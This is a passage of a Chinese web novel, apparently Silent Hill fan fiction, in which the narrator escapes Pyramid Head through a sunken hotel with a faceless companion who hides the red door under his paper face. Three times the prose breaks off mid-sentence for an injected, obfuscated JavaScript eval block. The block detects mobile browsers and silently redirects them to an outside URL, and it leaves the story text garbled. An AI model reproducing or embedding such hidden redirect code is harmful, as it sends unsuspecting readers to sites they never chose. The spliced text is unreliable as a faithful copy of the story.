他带着我穿过大厅,朝另一侧的走廊走去,我认得,那是通往无脸人私人房间的地方,他还是想把带回去。 就算回去又有什么用?三角头拿着那么大的一把砍刀,破门简直轻轻松松。如果要彻底躲避他,只能找到红门离开。 “带着三角头盔的那家伙很危险,躲到哪里都不安全........”无脸人走路太快,而我被迫和他并行,免不了会因为跟不上速度而踉跄一下,“我知道有一个地方,但我现在找不到,唯一的线索就是红门。” “只要找到红色的门就行,我是从那里来到这里的。只要穿过红门三角头就永远抓不到我们!”我说。 至于无脸人能不能过红门那根本不是我需要关心的事情。我能看出来他在面对即将到来的三角头时所无法掩盖的情绪——慌张。他也害怕三角头,至于为什么,我没有探究的兴趣。 就和我刚才说的那样,就算回了他的温馨小屋三角头仍然会追上来,仅凭一门之隔就企图抵挡那家伙?可笑,他可是随随便便就能把剥皮怪撕成两半,一脚将人脸虫踩爆的恐怖存在。我只希望他求生欲望上头,听信我的谗言,帮我一起找红门就好了。 无脸人听了我的话后短暂地回了个头,因为现在我们在行走过程中不方面写字,他朝我单手打了几个手势。 我看不懂手语........ 白纸上的简笔笑容好像更洋溢了一点,他安抚性地拍了拍我的头。 拍头顶什么用!我要的是红门! 熟悉的摩擦音又出现了,砍刀划过地板时发出的。走路的声音一顿一顿,摩擦音中间自然也有停顿。 我感觉有一把尖刀悬在头顶上方,刺激地我头顶发紧,我想回头看,可头刚偏了一个角度就被带着白手套的手拧了回来。 走廊的尽头越来越近,我也看到了那扇门,边缘缝隙渗出里面的暖光。我有一种错觉,那是一扇通往天国之路,打开后我将看到弹竖琴的天使,漂亮的云朵,以及高耸入云不见尽头的天梯。 窄门…… 门开了,不是什么天国门,也没有天使,只有熟悉的布局。 但在这个封闭的空间里暂时听不见渗人地脚步声以及砍刀与地板的摩擦音,我竟然安定下来。 无脸人还保持着紧搂我的姿势,手搭在我的后颈,诡异的热意从后脖开始向全身蔓延。我觉得不适应,双手抵着他的胸膛拉开距离。 一声巨响再次令我提起心脏,三角头在破门!我眼睁睁地看着木门被劈开一个裂缝,灯光透过缝隙照在门后的金属头盔上,反射出夺目的光泽。 确实夺目,还即将夺我的命。 无脸人再次抱紧了我,朝窗户的方向纵身一跃—— 哗啦!伴随着玻璃的碎裂声,冰冷的水涌入我的鼻腔和耳朵,嘴巴也尝到了咸味。是海水,怎么突然变成海水了,这里是海? 我赶忙紧闭呼吸,这才避免了呛水的命运。因为闭着眼睛什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988170|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么也看不见,我只能感受到环绕在腰间的那只手,以及逐渐上升时所感受到的水流阻力。 “咳咳咳………”我们露出了海面,而我也终于能够呼吸了。我大口大口地喘气,睁开睫毛湿漉漉的双眼,可看到的还是一片漆黑。 没有灯,也没有月光。 我浑身都湿透了,海风吹过时冷的打了一个寒颤,环绕着无脸人脖子的胳膊不由得松了,全身向下坠,下巴没再次入海面以下,嘴巴又尝到了咸味,差点呛到海水。他托着我的腰向上举,我更加用力的抱着他,脸埋进他的脖颈里。 太冷了……他身上也一点温度都没有,像个死人。 我们在海上漂了很久,不知道多久,我也不清楚具体的时间。直到飘忽不定的感觉变得踏实,无脸人从游动变为走动,我脚下也踩到了类似于泥土的质感,我们终于上岸了。 . 我被无脸人带进了一个密封的空间,类似于房子。失去了光无论哪里都是一片漆黑,但现在的我挺信任他的,毕竟我能看出来他是真的在救我。 这年头逃离追杀时还愿意捎上同行者的好人不多了,我感动至极,恨不得对着他那张简笔假笑脸么么么好几下以表达我的感激之情。 他突然放开了我,独自离开,就在我惊恐不安的时候,一道亮光挤入我的眼睛。 无脸人身前是一座烛台,亮光令我看清了四周的环境。 ——酒店大厅。 我们不是离开酒店了吗,怎么又回来……不对,在记忆里,酒店应该沉入海底了。我下意识看向玻璃门外,虽然仍然一片漆黑但有了光的加持并非全然看不见。门外是一片等同于沙滩的平地,不远处连接着海平面。 海浪滚滚。 我端起烛台走向旋转门,隔着一层玻璃观察。没有章鱼脚也没有三角头,只有飘来飘去的雾气,看上去很平静。 身后无脸人站在那里,我伸手推门时没有任何阻止我外出的动作,我放下心走出酒店。 浑身都觉得冷,但探究的好奇心还是超过了身体上的寒冷。反正酒店里有热水,大不了一会洗个澡,再拜托可爱的手手们帮忙吹干衣服…… 我猛地回过神。 怎么回事……我竟然不知不觉中陷入了安逸的状态。隔着一层玻璃门,无脸人双手环胸靠坐在柜台前悠悠闲闲的。也许是注意到我的视线,他不着痕迹地歪了歪脑袋。 他给我的影响太深了,只是片刻的相处而已,我竟然…… 我深吸一口气。先别管其他有的没的,最重要的事还是红门。 酒店坐落于一个小岛上,而不是之前那样大陆面积的平地,小岛很小,我随便迈迈腿就走完了。海浪向前扑又后撤,将地上的泥土和短茬小草打湿, 我时不时感觉到有风吹到身上,但奇怪的是,风不是从四面八方来的,而是头顶,像是顶上有一架风扇一样。我抬起头—— 上帝之手。上帝的手,上古之神的手掌巨大而又威严,因为人们看不见祂的全貌,因此常常会把视野仅可见的手作为祭拜对象。而现在,我头顶上遮天蔽日的巨大触手们就像扭曲的上帝之手,庞大到看不见边际,只知道自己身在压迫之下。 白雾从触手们的连接处喷洒而出,缓慢落下,形成了飘忽在我四周的诡异雾气。 身体像是被钉在原地,我发现自己动不了了,以这样别扭的姿势抬着脑袋,颚下的脖颈皮肤拉扯到极致,喉管感受到窒息的痛意。 可怕……我好害怕……我…… 一双手捂住了我的眼睛。我是惧怕黑暗的,但此刻黑暗竟然给予了我安全感。看不见就不怕了。 我被抱着走了好一段才被放下,眼前恢复了明亮,我回到了酒店。无脸人距离我很近——刚才的人是他。我靠在他身边,眼眸低垂,手紧攥他胸前领口平复情绪。 [不用怕。]写字册平坦在台面上,他单手握着钢笔书写,[ta不会产生威胁,除非你主动靠近。] 17. 第 17 章 我继续开始了寻找红门的路,不过这一次我带上了无脸人。虽然我明白他十有八九知晓红门所在地,但就是不愿意告诉我。 他很乐意与我一起,我也不太愿意和他分开。就算酒店里目前看来没有危险,但是刚刚经历过章鱼脚索命、三角头追杀等一系列事件后,我简直快要得PTSD了。我无时不刻不在惶恐之中,只有无脸人在我身边时才会稍微好些。 “你知道那些房间的钥匙在哪吗?”我问。 他“笑盈盈”地看着我,却不回应。不知为何,那张令我安心的简笔画笑脸此刻竟然有些欠揍。如果再在脸颊旁边加两坨红晕的话……我觉得拳头痒痒的。 我随意挑了一扇锁上的房门,按了按纹丝不动的把手,然后一指下方的圆形锁孔,“我想要打开这扇门,以及这里所有的都房间。我需要这些门的钥匙。” 他摇了摇头,[我没有钥匙。] 没有?这不可能! “可当时我的那间房的钥匙就是你给我的。”我说,“这座酒店不是属于你吗?” [它不属于我,它没有主人。] 他一笔一划地书写着,[我只是临时占据这里而已,也许拥有一些微不足道的权利,但并非您想象的那样无所不能。” 苍天啊!我扶额,线索又断了。我深吸一口气,“你会说谎吗?” 他手抵着下巴微微歪头似乎在思考我这句话的用意,就在我再次叹气的时候,他写道:[我不会对您说谎。] “那红门在哪?你既然不会对我说谎,直接告诉我地点,在哪间房,还是地下?”如果在锁着的房间里,我就把那扇房门破坏掉(但愿可以),如果在地下……掘地三尺也要找到。 他没有回应。 很好,不会对我说谎但不代表不可以无视我的问题。我不打算指望他了,无论靠谁都比不过自己,只有自己才是最值得的。 我转身就走,无脸人在后面寸步不离的跟着,像只跟屁虫。 一楼锁着的客房一共有十间,二楼三楼四楼也各是十间。如果一间间去找得何年马月,更别提还有撬锁的过程。 我不是技术人员,无法做到一根铁丝开遍整栋楼。 如果现在撬棍在手里就好了。 我心里记挂着杂物室,那里我虽然进入过但没有仔细检查,可能会有遗漏的地方。我决定先从哪里入手。 被我撞倒的精美盒子还躺在地上,上面的碎钻石散落的到处都是。都是假钻石,塑料和玻璃做的。 我将盒子拿起来准备放回架子上的时候,我发现里面有东西。不是我之前看错了,而是当时灯光太暗,照片又卡在底层我没有发现而已。 照片上的人脸被用黑笔画的看不出长相,我翻过来,背后写着一行算不上好看的字—— 我们家的幸福时刻。 角落里还有一行小字,明显不是出自同一人—— 遗忘是幸福,死亡是救赎。 我又将照片翻了回来仔细看,被画掉脸的是坐在正中心的人,从服饰看不出男女,他的身侧站着一个大胡子男人,因为照片老旧也看不出长相。但我猜测,他们两个可能是一家人,也许是兄弟,也可能是父子。谁知道呢。 除此之外什么线索搜没有得到,我把照片塞回了盒子里。 不过话说回来,我好像没有任何关于过去的照片,一张也没有,就连与姐姐的合照也没有。她的工作性质我了解,但以至于一张照片都不能留下吗。 照片这种东西就是图画式的日记本,日记用文字承载回忆,而前者将当时的场景、人与物定格在一张小小的相片上。哪怕多年后记忆消退,在看到照片的那一刻会被再次唤醒。 比起日记我更喜欢照片,可惜了…… 难道我以前不喜欢拍照吗,还是没有那个条件? 杂物室里没有我日思夜想的红门,真可悲。 “你有没有铁丝?”离开杂物室后,我问无脸人:“类似于铁丝的东西也行。” 我指向距离最近的一扇客房房门,“我需要它来撬门。” [抱歉。] 我就知道,“那你能帮我破门吗?”我其实不太想求助他的,可现在没有趁手的武器,如果有撬棍的话……撬棍……我的完美撬棍…… [不可以。] 行吧。被拒绝后的我尝试用椅子砸门锁,可是无济于事。现在所有路都被堵死了,我真的不知道该怎么继续下去。 整座酒店包括大厅里都脏污不堪,我总算知道墙面的地上的锈污从哪来的,估计是有时会沉入海底的缘故。海水具有腐蚀性,酒店到现在还能保证完好真是不容易。 只有无脸人的房间能够住人……准确来说不是他的房间,只是被他划为领地了而已。虽然我也不清楚为什么他不身为酒店的主人,却能在这个诡异的地方拥有一片温馨干净的场所。 衣服早已干透了,海盐在表面结了一层晶体,使布料变得硬邦邦。我觉得难受至极,就把衣服脱下来洗。房间里有热水,海盐经过热水的浸泡后化得很快,衣服也重新变得柔软。 这里没有洗衣液和柔顺剂,我过了一遍水后就把衣服捞起来,拧干挂在顶端稍微通风点的地方。 衣服刚挂上去,半透明的手们就围了上去,举着吹风机开始吹湿衣服。不出一会衣服就干了,它们将衣服叠好放在我的膝盖上。 “谢谢。”我将衣服抖开重新穿上。衣服上还留有海盐的味道,但很淡,只有凑近的时候才能嗅到。 我抱着膝盖坐在窗边,用从柜子里翻找出来的纸笔写写画画。我画的是酒店大致地图,在这里弯弯绕绕这么久,差不多都能理清楚路线了。 不出一会,一份一到四楼的平面图出现在纸面上。 让我想想看还有那里没有去过……除了那些被锁着的客房。我撑着脑袋苦想,墙壁上的那只在我脱下衣服清洗时一直闭着的眼睛现在睁开了,眼球先是上下左右转了一圈,然后和往常一样定格在我身上。 我托着下巴回望,它在与我对视上的那一刻移开视线,然后又移了回来。“你知道红门吗?”我简直疯了,竟然开始问它。 眼睛眨巴了两下。我认为它不会回复我,但却在它眨巴的时候觉得它肯定知道点什么。 我从窗台跳下来,走到它面前盘腿坐下,“你知道红门的方位吗?是,眨两下眼睛,否,眨一下。” 眼睛再次滴溜滴溜地转了转,不过望向的是门的方向。我也顺势看过去,门是关着的。当我回过头时,发现眼睛竟然眨了两下眼睛。 “真的?!”我欣喜若狂,想站起但又直起身一半就停下了,半蹲不蹲的格外别扭,只因为我打算再确认一遍。 我说:“真的吗?” 眼睛眨巴眨巴。 真的!它的真的知道! “在哪里?”我问。 眼睛不回答,我这才意识到它说不了话,都怪我太心急。我重新回到在窗台上坐下,两腿交叠在一起。 “在一楼吗?”我先缩小范围。 眨眼一次。 “二楼?” 眨眼一次。 我又分别询问了是否在三楼或者四楼,可得到的都是否定答案。这就奇怪了。我不死心:“真的在酒店里吗?在这栋楼里?” 眨眼两次。 我捂住脑门痛苦万分,红门在酒店这栋楼房里,但是却不在任何一个楼层,那究竟在哪?另类空间?就像科幻电影里演的那样,通过奇异的方法打开? 眼睛的瞳孔蓦然放大,我疑惑地转身,只见背后窗户外有一个摇摇晃晃的人影从海里爬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988171|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。我蹭的一下跳起来,后退几步,但又觉得这个身影很熟悉,走上前手贴在玻璃表面观察。 那人浑身湿透,就连原理上防水的冲锋衣也不例外,颓废而又凄惨,比刚上岸时的我好不了多少。 艾尔韦·博格纳。我当然能认出来,这家伙不久前才抢过我的东西,害得我全部装备沉入大海只剩下一柄匕首。其实我想过再见面时该采取什么态度,用我的匕首捅进他脆弱的腰间给他点颜色看看,当然看到他这幅狼狈的模样时我又换主意了。 算了吧。 他精神恍惚地刚爬起来,只抬了个头又一屁股栽倒在地,双腿直打哆嗦。我猜他肯定也看见天上的那个大章鱼了。 “这里!”我喊道。 博格纳听见了声音,迷茫地四下张望。 我用力拍打窗户,发现它是可以打开的,于是我用力推窗户,凹槽和窗沿都生锈了,好不容易才开了一条缝,“这里!嘿!看这里!” 他终于注意到了我,连忙爬起来朝我跑来。我伸长手臂往一侧指,“入口在那边!”他若有所思地点了点头,然后朝那方向跑了。也不知道有没有听懂。 我打算去迎一迎他。虽然博格纳确实挺不是东西,抢了我的东西就跑,还眼睁睁看着我差点被淹死.......但是就目前来看我们都是一条绳子上的蚂蚱,冰释前嫌抱团找出去的办法是最优选择。 毕竟一个脑袋和两个脑袋可不是一个概念。 一到大厅,我就看到博格纳站在中央张望。我靠在墙边朝他挥挥手,“你还活着。” 他点点头,一副失魂落魄的模样。真不是知道他是怎么从黑漆麻乌的冰冷海洋里找到这里的,要知道如果我没有无脸人,恐怕早就死了。这么看来,他强的可怕。 “见鬼了。”他坐在被血污浸满的沙发上坐下,眼神空洞,“真是见鬼了.......这里真不是人呆的地方......” 他突然掩面哭泣起来,哭声回荡在空荡的大厅里。我被吓了一跳,“你怎么了?” “我看到了.......” 他哭得一抽一抽,几乎喘不上气,“我看到了很多东西,本该忘掉的东西........那些家伙,那些死人......啊——!” 我记得他好像说过自己曾杀过人,不过又用开玩笑掩饰过去了。我挑眉抿唇,他不会是从鬼门关走了一回,被手下的冤魂被报复了吧?如果是真的,那我只能说...... 活该。 他哭了好久,我没算时间,只知道他的喉咙都哑了。“好了。”我安慰道:“能活下来就说明一切都好,现在追要的不是想办法离开这里吗?” 哭声终于停止了。他吸了吸鼻子,有用手抹了抹,最后揪起潮湿冲锋衣的一角擤鼻涕。我被恶心地连忙闭上眼睛,不忍直视。 “你说得对。”他声音还是闷的,像老牛,“有线索吗?” 我摇头,“没有,至少我要找的没有。” 我又说:“我以前来过类似的世界,出去和进来的方式大体相同,不过出入口藏的很深可能在意想不到的地方,得耐心找。” “我是在这个沙发上睡觉时进来的,难道我还得在上面睡一觉?” 我怕当他在开玩笑:“也许吧。” 谁料到他没开玩笑,不知道他的脑子被海水泡发了,还是长时间呆在海里呼吸不到空气缺氧导致脑子不对劲,他竟然拢了拢衣服原地躺下,闭眼开始睡觉。 “你......” 他说:“我在尝试。” “好吧。”看来他帮不上什么忙,我叹了口气,转身准备离开。 他在后面喊道:“你去哪?!” 我应答:“继续去找离开的办法。我和你进来的方式不一样,你的方法对我没用。” 18. 第 18 章 刚推开门,我就看到了站在白色石膏墙壁前的无脸人,他正在和大眼睛面对面。两个家伙都是哑巴,也不知道如何相互沟通。 见我来了,他侧开身子转向我。 我刚想说什么,一阵海风吹过来,我被冷得打了个喷嚏,搓着单薄的胳膊发抖。无脸人将开了一条缝的窗户关上。那窗户我开的时候特别费力,关上时也一定一样,但他却十分轻松,甚至一只手就完成了。 无脸人手贴上我的脸,手套面料很柔软,因为是布制的,所以我感受不到冷意。我硬生生忍住往他手心更贴一步的动作。但我没动,无脸人却动了。 他将我拉到床边,双手握着双肩迫使我坐下,然后用被子将我裹了个严严实实。在他裹被子的时候,他脸上贴着白纸离我很近,我甚至有一种错觉,那张简笔笑脸不是画出来的,而是他真正的脸。 我垂下眼眸,轻轻搭上他的手腕,“不用裹这么紧......有点勒。” 他的动作一顿。 “你在和谁说话?” 我猛地回了神,博格纳站在房间门口探头张望,“你怎么找到这地方的?看起来真不错,比外面好多了。” 不等我说什么他就走了进来,因为这房间没有沙发以及椅子之类的东西,他直接坐到床沿边。虽然离我有一段距离,但我莫名其妙的强迫症又犯了,我皱了皱眉,抱着裹在身上的被子坐到了窗台上。 “怎么样?”我问。 博格纳正在感受床垫的柔软度,脏兮兮的手在上面拍打,无脸人就在旁边站着,但他无知无觉。我差点忘了,有些东西他看不见。 无脸人注意到我的视线,走到我身边来,把我刚才因为起身改变位置而从肩部滑落的薄被重新拉了上去,然后手搭在我的后颈。我不太喜欢别人碰我的脖子,于是朝旁边让了让。无脸人拿开手,不再接近我。 白手套这种东西如果厚度较高的话会使手变得臃肿,无脸人带着的就是厚度比较高的那种,但他的手不仅没有显得臃肿反而修长好看。 他的手垂在腿边,我看着手发呆。看着看着,我不受控制地伸出食指,想要触碰....... “你听到了吗,你一直在发呆。” 我抽回手,抵在唇边轻咳了一声,“不好意思,我没听清。”也不知道自己在装模作样些什么。 他:“我刚才浅睡尝试了一下,但是失败了,所以我觉得——” “会不会是那个?”他指了指头顶上方。 我瞬间就听懂了,他居然以为出口在大章鱼身上。“不可能!”我脱口而出。 “拜托,俗话说得好最危险的地方就是最安全的。人生总要尝试嘛,对不对?”他双手一摊。 那种东西里怎么会有红门……那种毛骨悚然的,只看一眼就浑身发毛,四肢发麻无法动弹。我尽可能的不去回忆那个大章鱼。 “我说真的。”博格纳起身换到靠近我的床沿边坐下,“你也说了整个酒店你都探索过,但是什么都没有。我也是,除了天上的那个大家伙,我几乎快把周围的海域游了边。” 他拍了拍肚子,“瞧,这里面都是水。” 博格纳放下衣服遮住肚皮,“你去试试,说不定呢?” 我瞥了他一眼,“我去?” 博格纳:“对。” 他自己怎么不去?拿我当探路灯呢。博格纳搓了搓手,“我说真的,你别那么抗拒。大家伙确实可怕,就连我都吓了一跳,更别提你这个小姑娘……” 他越说越起劲,我越听眉毛越皱。消失许久的红色的大眼睛再次出现,眯起眼皮用死鱼眼盯着他看,还顺便翻了个白眼。 “我不会去的。”我直接断了他的念想。我确实在某些方面比正常人差一些,比如共情、社交……但不代表我的危险感知能力也这样令人唏嘘,相反我从小到大对于危险这一次有着极为深刻的认知。 恐惧。 令我恐惧的事物就是危险的,是不能靠近,一旦靠近就会万劫不复,无论ta长着一副怎样的外貌,或美或丑,我都一视同仁。 博格纳的脸色瞬间变了。 我裹着被子假装不理他,但是落在我身上的视线却始终忽视不掉。随着时间流逝,一直坚持的理念开始崩塌。 虽然博格纳先前挺讨人厌的,但就目前来看,他确实在为出去这件事动脑筋。也许我确实不该只考虑自己。 要不,去探索一下? 窗户碎裂,玻璃向屋内四溅,一根前段削尖的棍子擦着博格纳的耳边狠狠钉在了后面的墙上。他好半天才反应过来,捂住脑袋嚎叫:“妈的!什么鬼?!” 与此同时我的后领突然被猛地一扯,前襟勒我白眼直翻。我被拉出了窗外,大腿划过窗沿的玻璃渣顿时冒出血珠子。 是三角头,他右手拉着砍刀左手拖着我。 “该死的!放开我,你放……!”刀锋逼近我的脸庞,我吓得冷汗直冒不敢再挣扎,连喉咙里即将冒出的尖叫也被硬生生吞了回去。 背部擦过路面,幸好地上全是湿润的泥土和青草,只是衣服有点脏而已。我顾不上什么脏不脏的,什么洁癖不洁癖的,绞尽脑汁思考对策。 三角头拖着我围酒店外绕了一圈,然后一脚踹开玻璃大门走了进去,路过大厅、走廊,然后是楼梯。他竟然就这样拖着我上楼梯!我被泥巴水沾湿的背部碾过一个又一个尖锐的台阶角,脊柱几乎要被削平,我疼的实在忍不住了。 后背绝对破皮了,要不然怎么会疼成这样。 我半分也不想耽搁,从口袋里掏出匕首就朝他的小腿扎了上去。刀尖没入皮肉又出来,奇怪的是金浩然一丝血也没有,简直就是一个被放干了血的死人! 三角头估计吃痛,一把丢开了我。 我从楼梯一路滚落直到撞到平面才停下。我头晕目眩,好不容易站起来,还没来得及看清周围场景,腹部就遭受重击——我被一脚踹飞了! 他这一脚不得了,我干瘪空无一物的胃部都被踹地想吐,“呕……” 我趴在地上干呕了一声,舌根发麻。 余光里三角头迈着悠哉悠哉的步伐走过来,一把揪起我的后领继续拖着走。我没有任何还手之力了,几乎要死过去。 他上了一层有一层台阶,意识模糊间我觉得闲走私好像已经到了第四层了,但他怎么还在往上? 吱呀——铁门打开,我艰难的抬起头。额头好像破了,血顺着眉毛流进眼睛,导致我半边看到的世界全是红的。 周围没有墙,这里是一个像是天台的地方。原来有天台啊……之前竟然都没有发现。我近乎偏执地张望,企图在这里找到任何红门相关的东西。 可惜没有。 身体突然腾空,然后狠狠摔在地上,三角头将我丢了出去。我仰面朝上,正巧看到了距离更近,更为清晰的巨大触手们。在它们的连接处漆黑一片,不知道有什么,是头颅还是口舌还是…… 几根略纤细的章鱼触手缓缓缠住了我的手脚,我蓦然瞪大双眼。 不行!不行! 我疯了一般挥舞着匕首,砍断那些恶心的章鱼脚,被砍断的部分掉在地上扭曲舞动,吸盘张张合合就像婴儿哭泣的小嘴巴。 恶心。 好恶心。 地上被砍断的章鱼脚越来越多,天上来抓我的章鱼脚却不见减少。 三角头站在一旁,手里握着刀柄,刀尖向下抵在地面上,左腿直立右腿微微弯曲,他手插着腰就这样静静地看着。他就像台下观赏话剧的观众,我甚至能感觉到他对于这场演出的满意程度,特别是我被章鱼脚缠住无法挣扎一副临死之兆的时候,他动了动肩,一副临近下班时的愉悦。 该死的! 一次就算了还来第二次!我死了对他有什么好处! 为什么是我。 章鱼脚缠住了两只手腕,我被吊了起来,彻底没有挣脱的可能了……在身体悬空缓慢上升的时候,我心里浮现出一种不甘。 为什么是我……为什么失忆的是我,要死的也是我…… 我绝望地闭上了眼睛。 手腕的勒感一松,我向下坠落。我睁开双眼,本能地想要抓住什么,却落入了一个怀抱。无脸人环住我的肩膀,帮我站定住。 三角头一改放松的姿态,浑身肌肉瞬间紧绷,提刀的手臂用力地几乎冒出青筋。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988172|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我侧脸贴着西装面料,抬起眉眼向上看,还是一样的视角,白纸与脸庞弧度严丝合缝,不留有一丁点缝隙。但感觉却不一样。我缓慢的眨了下眼睛。 “——” 三角头好像说了什么,但我没有听清,那不是属于人类的话语而是某种野兽的吼叫。当然也可能是我听错了,那声音其实来自于三角头盔与皮肤表面的摩擦音。 他举起砍刀,两大步助跑就来至我们身前,不等我们反应,砍刀就狠狠地劈了过来。 无脸人扛着我飞速闪开,砍刀落下的地方激起无数碎石,巨大的裂缝出现。 我的腰被紧紧勒着,双脚略微悬空只有脚尖点在地上。 无脸人是单手抱着我的,另一手则抓着写字册,为了减轻他的负担我想要下来,他却拍了拍我的后腰示意我别动。我干脆回搂住他。 砍刀迎面飞了过来,无脸人赶忙侧开身子,刀锋擦过我的头发钉入后方石砖墙里,还削掉我几根头发。发丝飘落在地,和掉落的碎石掺在一块。 三角头虽然掷了砍刀后两手空空,但拳头攥地很紧,似乎想隔空把我两个双双掐死。哪怕离他有一段距离,我仍然能感受到从他身上散发而出的浓厚杀意。 他是真的想杀了我们。 真可怕,我被他的气场激地打了个颤。 后脑被轻柔地感觉拂过,我克制住颤抖的呼吸,将脸埋进无脸人的颈窝里。他身上的味道竟然和我是一样的。 . 后面是夺命的刀刃,我们在前面逃命。转过一个拐角,砍刀落下,墙角被劈开,碎石滚落。 三角头将嵌进白墙里的砍刀拔出来,拖拉着刀柄继续追赶我们。 在这个世界里,我们没有任何藏身之地,入眼所及之处,全都是砍刀留下的触目惊心的刀痕。 我们躲不了,我们躲不开,三角头简直是地狱而来的审判者。我敢打包票,从出生到现在从没有做过任何对不起任何人的事情,我遵循神的旨意,我从不触犯法律,我乐于助人,我团结集体,我…… 余光中砍刀忽然落下,只听铁质的刀刃贴着皮肉割开的声音,无脸人的左臂被砍飞了,大量黑色的血液喷薄而出,溅到到墙上、地上、天花板上。 他向前踉跄,我连忙伸手接住。黑色的血沾染了我一身,黏黏糊糊的,却唯独没有血腥味,就像是水一样,任何味道都没有。 写字册掉落在血泊之中,他弯腰想捡,我先一步捡起来拿在手里,然后拉起他仅剩的一只手向前跑。 三角头逐渐逼近,无脸人从受伤后就开始体力不支,哪怕我连拖带拽也无法复原之前的速度。一开始我是拖后腿的那样,现在变成了他。更绝望的是,我无法像他保护我一样保护他。 我们和三角头之间的距离越缩越短,距离死亡也越来越近。 “真是该死的。”我轻声骂道:“该死的红门,该出现的时候不出现,等出去了以后我就和狗狗离开寂静岭这个鬼地方。” “找什么记忆,找什么窄门。神从来没有站在我这一边过,祂和魔鬼同仇气概!” 无脸人又是一个踉跄,这次我没能支撑住,和他双双摔倒在地。他砸在我的身上,我被压的喘不上气。 他单手撑着地面艰难起身,在与我之间撑开一道缝隙,我总算能呼吸了。 三角头越来越近了,我推着他的肩膀,“起来,快起来!” 他没有反应,手指沾上黑血在写字册上颤颤巍巍的写下—— 想法正确,不要改变。 遗忘是幸事。 什么意思?我迷茫的看着他,又因为后方逼近色脚步声意识到死亡激将到来。我用力推着他的肩膀,“别坐在这里,快……” 他掀开脸上的白纸—— 红门。我不可置信地瞪大双眼,红门在他的脸上。这张脸没有任何五官,只有一张缩小半的红门。难怪一直找不到,难怪眼睛说红门在这做酒店里,却不存在于任何楼层。 难怪…… 红门开启,后面是漆黑的深渊。 就在此时三角头已经来至我们身边,高举砍刀,落下…… 我被吸入了红门中。 19. 第 19 章 我猛然睁开眼睛,条件反射一般站起来。后知后觉,我好像回来了。鼻腔里再也闻不到潮湿的味道,周围的景色也不在是黑暗以及充满血污的地狱之境。 阳光透过走廊尽头的窗户洒落下来,宛如金色的纱衣。我手撑着脑袋,背靠着墙壁慢慢滑落坐下。 背包没有了,只有一把小刀留在口袋里,但身上的衣服却是干净的。记忆中无脸人的血喷洒在我的身上,不热不凉,除了粘稠外没什么感觉。 我看着干净如初的衣服,觉得非常不真实。 对了! 我连忙触碰后背……好疼!指腹触碰到的地方传来钻心的疼痛,表面凹凸不平,明显是破皮后导致的。 伤口还在,无脸人的血迹却消失了。 越来越觉得的寂静岭这个地方诡异地可怕,和里昂在这里探索时只觉得陌生又奇怪,但当自己独自一人深入以后,不仅仅是可怕那么简单。寂静岭就像一个独立的世界,一旦进入以后就会与外界隔离开,并且世界中还有世界,就像两块镜子面对面放在一起,反照出来的画面无限延伸,尽头之处比深渊还要更深一层。 就像黑洞。 我甚至好奇,假如在这里死去,我会怎么样。存在会消散吗,还是想那些失踪人员一样,存在于人类的记忆中,肉身却永远困在寂静岭里,永远也无法得到解脱的那一天。 听起来倒没那么可怕,就像我之前说的那样,人类由记忆构成,存在也一样。只要有人记得我,我就还活着,只要姐姐不忘记我一天,那么我的存在永远不会消亡,我将永远陪伴在姐姐左右,哪怕置身于痛苦之中…… 可问题是,我不想痛苦的活,也不想痛苦的死,我只想快乐一辈子,和姐姐一起。 就在这时候,我突然感觉好像少了什么,手抵着额头思考许久是不是有什么重要的东西忘在红门后面的世界了。当看到空荡荡的脚边时才反应过来。 小狗呢? “狗狗!”我高喊着小狗的名字,到处寻找它的身影。我知道它不会抛弃我,永远不会,但突然的消失令我心中一紧。 它不会以为我死了,或者以为和我走散,去其他地方找我了吧。 当我来到大厅的时候,听到一阵毛骨悚然的进食声。野猫在黑夜里逮到老鼠后,最喜欢撕开肚皮品尝内脏。脏器是好东西,柔软适口,营养丰富。 我放慢脚步,朝声音的方向靠近。宽大沙发的背部正巧对准我的方向,而声音就来自于它后面。我吞咽了一下唾沫,轻手轻脚的调整角度。 先是熟悉且修长的尾巴,然后是人兽杂交般的躯体,最后…… 开膛破肚的尸体。肠子拖了一地,碎肉被甩的到处都是,小狗正贪婪地撕咬着尸体,大口吞咽着。 我忍住反胃恶心,“你在干什么?!” 小狗一顿,然后惊喜地“噫”了一声,顶着满头满脸的血朝我飞奔而来。 “别过来!”我说,小狗停下了,我指着它,“对就站在那,别过来。”太恶心了,全是血,粘到身上洗都洗不到。 它委屈地哼哼唧唧,但十分听话,我说不许动就真的一动不动,连平日里最不安分的尾巴也不甩一下。 我快速瞄了一眼尸体,发现他竟然是博格纳! 难以言喻地愤怒涌上心头,我怒骂道:“不是和你说过不许杀|人吗?我平时难道饿着你了吗?!” 小狗委屈地呜咽。 